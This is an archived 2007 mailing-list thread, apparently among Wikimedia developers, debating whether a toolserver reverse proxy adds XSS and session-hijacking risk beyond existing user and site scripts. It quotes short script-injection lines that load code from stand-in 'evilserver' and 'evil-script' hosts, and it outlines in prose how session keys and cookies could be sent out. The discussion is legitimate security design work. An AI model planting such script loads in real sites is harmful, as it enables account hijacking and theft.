On 9/4/07, Domas Mituzas &lt;midom.lists(a)gmail.com&gt; wrote: XSS attacks are already possible by those who can edit the JS files by using the document.write('<script src=" trick. Again, this already happens.

No, it applies to all user scripts. I doubt that every user who is including them in their profile is doing a security audit of the JavaScript. see a). User scripts are not in revision control (apart from the MediaWiki history). see a). This alredy applies to user scripts. The reverse proxy will not open any new security holes. I could already hide code which sends the session keys through embedded iframes to any server in the world in my user Javascripts, such as the WikiMiniAtlas (which is even included by default). -- http://en.wikipedia.org/wiki/User:Dschwen http://de.wikipedia.org/wiki/User:Dschwen http://commons.wikipedia.org/wiki/User:Dschwen http://meta.wikipedia.org/wiki/User:Dschwen

On 9/4/07, Domas Mituzas &lt;midom.lists(a)gmail.com&gt; wrote: Domas, it seems you're out of touch with the actual current behavior. Right now anyone that can edit the site wide scripts can insert a document.write('<script src="http://evilserver.comr.com... and the script loaded as a result of that can then have ongoing communication with the user by itself inserting more script tags, which call a a callback function with the result data. So you've made a case for limiting control of the proxy functionality to sysops... but not more than that. Any sysop can. Any sysop can also edit the site wide, or throw a script into MediaWiki ns thus making it available withjs And if you concern is "wikipedia account integrity" you're wrong to dismiss userscripts. Some are very very popular and are used by many accounts with elevated rights, for example: http://en.wikipedia.org/w/index.php?title=Special:Whatlinkshere/User:Lupin/…

On 04/09/07, Dschwen &lt;lists(a)schwen.de&gt; wrote: ...which means it *is* under a form of revision control. Rob Church

Hii! What kind of change/revision management would those URLs have? Are copies archived/saved on toolserver for every script that gets uploaded to accessible area? :) It doesn't help with session hijacking - you can still get cookie values with javascript, and send xmlrequest anywhere you want. Yes, it is one of current security problems, probably the global .js rights have to be moved from sysops to stewards :), but at least we can track who and when added what (revision histories!) - there's no such audit trail on toolserver. You won't be able to read contents of that frame, nor get cookies, nor modify anything in frame document's DOM. Now you join the camp of ignorant! :) the security behavior is to protect wikipedians. BR -- Domas Mituzas -- http://dammit.lt/ -- [[user:midom]]

Ok, there seem to be some confusions about the security implications and the reasons for cross-site scripting limitations in the first place. I can already devise user-JS on wikipedia which could remote control the users' browser to surf to their homebanking site in an iframe. Now if XSS were allowed I could manipulate the iframe (fill in money amounts and guessed passwords, submit forms etc.). This is NOT allowed as the wikipedia JS cannot acces pages from arbitrary different domains.That's a good thing. Now with the reverse proxy we are not deactivating XSS entirely, we are just allowing remote controlled access to pages on one single server: the toolserver (plus we enable XHR which is very useful). Granted, an evil user could setup another reverse proxy on the toolserver to then extend the access to other servers, but these proxied pages would appear under different domain-names (tools.wikimedia.de), so no automatic password-filling or cookies could be exploited (=no gain!). Plus it would need an opt-in user-JS component on the wiki. AND, a similar thing is already possible without the reverse proxy, by embedding a malicious toolserver iframe (not exploitable either). I don't see how this would generate any exploitable security holes. But maybe I'm missing part of the picture?! -- http://en.wikipedia.org/wiki/User:Dschwen http://de.wikipedia.org/wiki/User:Dschwen http://commons.wikipedia.org/wiki/User:Dschwen http://meta.wikipedia.org/wiki/User:Dschwen

Ah, it is now dawning on me that your concern are pages on the toolserver which the user could be lured to over the reverse proxy address. Well, you are right, we can construct a potential treat from that. But I wonder whether this has enought impact to really harm wikipedia. Don't you think this would be discovered fairly quick? What about limiting the reverse proxying to a number of trustworthy users? For example I'd give Magnus Manske or Gregory Maxwell my login credentials anytime (I'd give them to me as well if I didn't already have them ;-) ). -- http://en.wikipedia.org/wiki/User:Dschwen http://de.wikipedia.org/wiki/User:Dschwen http://commons.wikipedia.org/wiki/User:Dschwen http://meta.wikipedia.org/wiki/User:Dschwen

On 9/4/07, Platonides &lt;Platonides(a)gmail.com&gt; wrote: Mmmm.. PHP: Bringing you SQL injection since 1995. (And yes, PHP is special in this case, Perl, Python, etc db APIs have a safe way to pass user data without requiring the coder to religiously pass the data through quoting functions) [snip] [snip] Now thats a dandy idea for pure JS things.. but pure JS things don't need to be off-site.. they can just be tossed into the MediaWiki namespace. The need to proxy to a backend service comes when you have something local cgi that performs a search or consults a database. It wouldn't be hard to setup a path whos files could only be changed by pushing things through SVN... especially for software which doesn't require compilation. This would produce a nice enough audit trail.

I still don't see how this javascript proxy adds extra vulnerabilities. The only difference between having a proxy, is the advantage of being able to directly use an xmlhttprequest. Introducing this proxy will still only allow local sysops to add toolserver JavaScript to the wiki. Being a sysop, what I would then is: var req=sajax_init_request(); req.open('GET', '/tools/~bryan/evil-script');. What I now do is document.write('<script src="http://tools.wikimedia.de/~bryan/evil-script"></script>'). This still executes JavaScript being out of revision control. Bryan

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Gregory Maxwell wrote: *nod* What I think I'd like to see us move a little more towards is a model like that where we've got some concept of available JS-based plugins. That can make management, maintenance, and user-level selection a lot easier than the haphazard 'add this <script=blah> command to your secret JS page' interface we have now; and the easier it is to see what's there the easier it's going to be to keep it secure. - -- brion vibber (brion @ wikimedia.org)

On 9/4/07, Rob Church &lt;robchur(a)gmail.com&gt; wrote: +1 http://www.mediawiki.org/wiki/Extension:Gadgets Great stuff.... Though it doesn't solve the issue that started this thread. The issue that started this thread is how to get tighter integration of some properly external tools such as the mapping tool Dschwen built. Right now it works okay as an iframe, but that creates some silly limitations. There is also all sorts of development for tools targeted at established Wikimedians rather than the general public, such as Bryan's hacks on things like http://commons.wikimedia.org/wiki/Commons:FlickrSearch?withJS=MediaWiki:Fli… Some things like WikiMiniAtlas don't make a lot of sense as an extension (as an extension it would only be a piece of JS and a daemon totally external to mediawiki). Some things might make sense as extension, but keeping them external is useful for testing, prototyping, and early versions. Not only is their a shallower learning curve for external tools, but their is fault compartmentalization: if you misunderstand how MySQL 4 is going to handle a query the whole site doesn't go down. And of course the ability to casually hack on something as new feature requests come in ... without having to nag someone to push the updates live... is nice.

Dschwen wrote: Seems the review process didn't work so well, Domas. Even worse, when it was published (two months ago) the publication notice included "As it's a potential XSS vector, those able please help reviewing it, to verify the code is safe." :(

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Dschwen wrote: It greatly increases the vulnerability landscape, whereas I'd prefer to decrease it by tightening controls on site JavaScript. - -- brion vibber (brion @ wikimedia.org)